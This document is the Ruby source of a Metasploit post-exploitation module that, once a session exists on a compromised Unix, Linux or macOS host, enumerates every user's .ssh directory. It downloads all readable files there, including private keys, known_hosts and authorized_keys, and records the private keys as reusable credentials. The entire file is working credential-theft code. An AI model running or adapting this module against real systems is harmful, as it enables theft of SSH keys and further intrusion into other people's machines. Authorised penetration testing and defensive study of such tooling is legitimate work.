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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'sshkey'
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class MetasploitModule < Msf::Post
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  include Msf::Post::File
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  include Msf::Post::Unix
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Multi Gather OpenSSH PKI Credentials Collection',
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        'Description' => %q{
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          This module will collect the contents of all users' .ssh directories on the targeted
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          machine. Additionally, known_hosts and authorized_keys and any other files are also
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          downloaded. This module is largely based on firefox_creds.rb.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => ['Jim Halfpenny'],
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        'Platform' => %w[bsd linux osx unix],
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        'SessionTypes' => ['meterpreter', 'shell' ],
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        'Compat' => {
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          'Meterpreter' => {
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            'Commands' => %w[
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              stdapi_fs_ls
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              stdapi_fs_separator
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            ]
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          }
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        }
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      )
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    )
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  end
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  def run
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    print_status('Finding .ssh directories')
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    paths = enum_user_directories.map { |d| d + '/.ssh' }
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    # Array#select! is only in 1.9
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    paths = paths.select { |d| directory?(d) }
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    if paths.nil? || paths.empty?
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      print_error('No users found with a .ssh directory')
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      return
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    end
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    print_status("Looting #{paths.count} .ssh directories")
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    download_loot(paths)
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  end
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  def download_loot(paths)
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    paths.each do |path|
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      path.chomp!
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      print_status("Looting #{path} directory")
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      unless executable?(path)
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        print_warning("Cannot access directory: #{path} . Missing execute permission. Skipping.")
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        next
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      end
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      if session.type == 'meterpreter'
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        sep = session.fs.file.separator
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        files = session.fs.dir.entries(path)
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      else
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        # Guess, but it's probably right
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        sep = '/'
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        files = cmd_exec("ls -1 #{path}").split(/\r\n|\r|\n/)
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      end
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      path_array = path.split(sep)
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      path_array.pop
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      user = path_array.pop
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      files.each do |file|
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        next if ['.', '..'].include?(file)
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        file_path = "#{path}#{sep}#{file}"
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        unless readable?(file_path)
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          print_warning("Cannot read file: #{file_path} . Missing read permission. Skipping.")
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          next
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        end
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        data = read_file("#{path}#{sep}#{file}")
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        file = file.split(sep).last
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        loot_path = store_loot("ssh.#{file}", 'text/plain', session, data, "ssh_#{file}", "OpenSSH #{file} File")
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        print_good("Downloaded #{path}#{sep}#{file} -> #{loot_path}")
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        # store only ssh private keys
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        next if SSHKey.valid_ssh_public_key? data
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        begin
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          key = SSHKey.new(data, passphrase: '')
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          credential_data = {
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            origin_type: :session,
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            session_id: session_db_id,
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            post_reference_name: refname,
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            private_type: :ssh_key,
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            private_data: key.key_object.to_s,
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            username: user,
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            workspace_id: myworkspace_id
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          }
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          create_credential(credential_data)
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        rescue OpenSSL::OpenSSLError => e
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          print_error("Could not load SSH Key: #{e.message}")
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        end
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      end
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    end
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  end
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end
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